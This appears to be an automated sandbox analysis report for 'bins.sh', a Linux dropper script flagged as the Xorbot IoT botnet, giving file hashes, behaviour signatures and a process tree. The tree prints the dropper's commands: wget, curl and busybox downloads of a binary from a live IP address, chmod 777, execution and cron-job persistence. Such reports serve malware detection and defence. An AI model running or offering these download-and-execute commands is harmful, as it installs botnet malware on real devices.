Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    02/12/2024, 03:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    76cb499bf206bd1606439aa4cb42c17f

  • SHA1

    583a6a1e14a9d811f2e3da46dc1ed703c58c0bc4

  • SHA256

    c28f312b135f4744abe6cba8accf2b65bf9d89642e8c5e1b05c69e21dfd2b3ab

  • SHA512

    fcee5155d2be7d5569befd90710c34d50ae5b4c54a1c554e0fe0ed50e31e6c98fa6216e59a10a1eac872ef13523c987f9f780b67fc65201670fb33085cf27c24

  • SSDEEP

    96:leZwAhF+MMvCSiZ1r3W5IW9phh0UwTCSiZ1Hj3uKap+8X7V9phh0UwweZwAhFjW0:leZwAhFJMs3W5I6seZwAhF6c

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (2199) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1475
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1476
        • /usr/bin/wget
          wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:1477
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:1490
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Writes file to tmp directory
          PID:1491
        • /bin/chmod
          chmod 777 zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • File and Directory Permissions Modification
          PID:1492
        • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          ./zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1493
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1495
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1496
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1497
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1498
              • /bin/rm
                rm zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419
                2⤵
                  PID:1501
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/UiOlECnFZBdU3ZjsAoD8XDKoKcqyHQqtrx
                  2⤵
                    PID:1504

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/zLo5YftBJwGgx1LTQIaI54VFMaOiDPN419

                  Filesize

                  98KB

                  MD5

                  5141342d0df8699fa32a6b066a0c592e

                  SHA1

                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                  SHA256

                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                  SHA512

                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                • /var/spool/cron/crontabs/tmp.vF4V5z

                  Filesize

                  210B

                  MD5

                  36ec7ceb2c332b5a57b55f6a6a953960

                  SHA1

                  9fad94f002fb7711317e76d7e32c82762f9a652e

                  SHA256

                  4ce8508aabf7d31084ec6aaca1239d685f3b3084523ab62bf112fec42c82502c

                  SHA512

                  7c2bb813a88f1bd6d608beb17396c6089b384c7421c028202ab8b4f3e982d1f724458c5c270cc0d2ad31c699a276b299b5fcd54a1389fd14f92c6f18d488849d